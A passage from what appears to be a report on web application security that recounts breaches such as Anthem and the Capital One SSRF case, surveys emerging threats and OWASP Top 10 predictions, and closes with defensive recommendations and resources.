to exfiltrate sensitive information, such as personal health data for almost 80
million patients, without setting off timely alerts that would have contained the
damage. This breach showed that without good logging, even sophisticated
defensive mechanisms can be unable to quickly identify malicious activity.
Following this, Anthem and other organizations have spent money on enhancing
their monitoring systems, such that all important security occurrences are logged,
aggregated, and analyzed in real time. Increased visibility through centralized
logging and constant monitoring is now an integral component of incident
response plans, allowing organizations to identify anomalies and respond to
breaches more quickly.
10. Server-Side Request Forgery (SSRF)
Example: Capital One Breach (2019)
The 2019 Capital One attack is probably the most-widely mentioned SSRF
vulnerability example. There, an attacker used an SSRF vulnerability within a web
46
application firewall running on an AWS instance. The attacker sent specially
formulated requests to successfully trick the server into retrieving data from the
instance metadata service and eventually obtain temporary credentials. These
credentials were used to gain unauthorized access to sensitive information stored
within Capital One's cloud environment and impacted more than 100 million
customers. The breach highlighted the risks of SSRF vulnerabilities that can
evade standard security controls and result in devastating data exposure. It also
illustrated the utmost necessity of correctly validating and sanitizing user-
provided input, alongside having strong network segmentation and access
controls in cloud environments. In response to this attack, organizations have
placed greater emphasis on identifying SSRF vulnerabilities during development
and testing, using both automated scanning software and manual security audits
as part of their processes to avoid such attacks.
Another major lesson is to patch promptly and manage vulnerabilities proactively. The
sort of catastrophe seen in the Equifax breach is illustrative: keeping a known
vulnerability unpatched has horrendous consequences. Currently, organizations focus
heavily on automated scanning for vulnerabilities and rapidly applying patches to fix any
vulnerabilities found. Strong and timely user authentication (such as multi-factor
authentication) and strict access control have also become a must: breaches at
companies such as T-Mobile show that lackluster authentication can lead to massive
data loss
Effective monitoring and logging are also indispensable. The Anthem breach, for
example, showed that delays in detecting and responding to an attack can cause
damages to grow exponentially. Continuous monitoring and incident response, put into
action through simulations or tabletop exercises, help identify and contain breaches
efficiently.
Lastly, security must also be built in from the start across the entire software
development lifecycle, from design to deployment. The SolarWinds episode indicates
that supply chain attacks can exploit trusted software if its integrity is not validated.
47
7 Future of Web Application Security
7.1 Emerging Threats and Trends
As we enter the year 2025, developments within the digital environment will accelerate
on all fronts, modernizing an already unmanageable attack surface of cloud adoption,
IoT, remote work, and interconnected systems. Cyber attackers are finely honing their
craft through zero-day exploits, supply chain breaches, and more multi-vector DDoS.
Nation-state actors, along with organized cybercriminal groups, are developing more
sophisticated techniques, such as exploiting misconfigurations in cloud services, preying
on mobile and edge devices, and deploying adaptive malware, capable of evolving in
real-time, to compromise critical infrastructure. As governments start to demand very
robust cybersecurity standards and compliance (GDPR, HIPAA, etc.), the regulatory
pressures keep incentivizing better standards. A proactive defense will be instrumental in
continuing to keep up with an evolving, dynamic threat landscape that will include
continuous threat monitoring and incident response automation. An organization must
take on a layered "defense in depth" approach, integrating security in every part of the
development lifecycle.
https://www.simplilearn.com/top-cybersecurity-trends-article
https://www.crowdstrike.com/en-us/global-threat-report/
48
evolving category as organizations start to secure left integrating threat modeling and
secure architecture principles from the first place. The emergence of challenges—
especially with the rapid adoption of open-source components and cloud services—
brought about the prominence of supply-chain vulnerabilities. Experts also foresee the
increasing importance of problems such as Identification and Authentication Failures,
given that systems are beginning to incorporate layered defenses such as multi-factor
and biometric authentication. Slightly lower in rating may be Cryptographic Failures and
Security Misconfigurations, as organizations get better with their key life cycles and
hardening their cloud configurations. Overall, predictions of 2024/2025 stress a more
integrated view of security that combines traditional weak vectors with new risks
introduced by AI, IoT, and decentralized supply chains, throwing down the gauntlet for
developers and security teams to take on digital risk in a variant adaptive, data-driven,
and proactive way.
https://tcm-sec.com/owasp-top-10-prediction-2025/
49
8 Conclusion and Final Recommendations
8.1 Key Takeaways
In today’s rapidly evolving digital landscape, it’s clear that a proactive, multi-layered
security strategy is paramount. The key takeaways for both developers and
organizations are:
Integrate Secure Coding Practices: Adopt and rigorously follow secure coding
guidelines (e.g., OWASP Cheat Sheets and ASVS). Leverage static (SAST) and
dynamic (DAST) analysis tools to catch vulnerabilities early.
Automate Security in CI/CD: Embed security testing and automated patch
management into your CI/CD pipelines, ensuring real-time detection and
remediation of threats.
Strengthen Access Controls: Enforce the principle of least privilege, implement
multi-factor authentication, and regularly audit access rights.
Harden Infrastructure: Regularly update and configure cloud environments,
network devices, and IoT systems to minimize misconfigurations and outdated
components.
Incident Response & Monitoring: Develop robust incident response plans, and
deploy continuous monitoring and logging solutions to quickly identify and contain
breaches.
Training & Awareness: Provide ongoing cybersecurity training for developers
and staff to keep pace with evolving threats.
50
checklists for assessing the security of web applications. Additionally, the OWASP Cheat
Sheet Series offers concise, practical guidance on securing applications, covering topics
such as input validation, output encoding, secure session management, and
authentication best practices.
https://www.simplilearn.com/top-cybersecurity-trends-article
https://tcm-sec.com/owasp-top-10-prediction-2025/
OWASP Official Resources including the OWASP Top 10, Cheat Sheets, and
Testing Guide.
Industry reports such as CrowdStrike’s Global Threat Report.
Cybersecurity courses from SANS Institute, Coursera, and edX.
51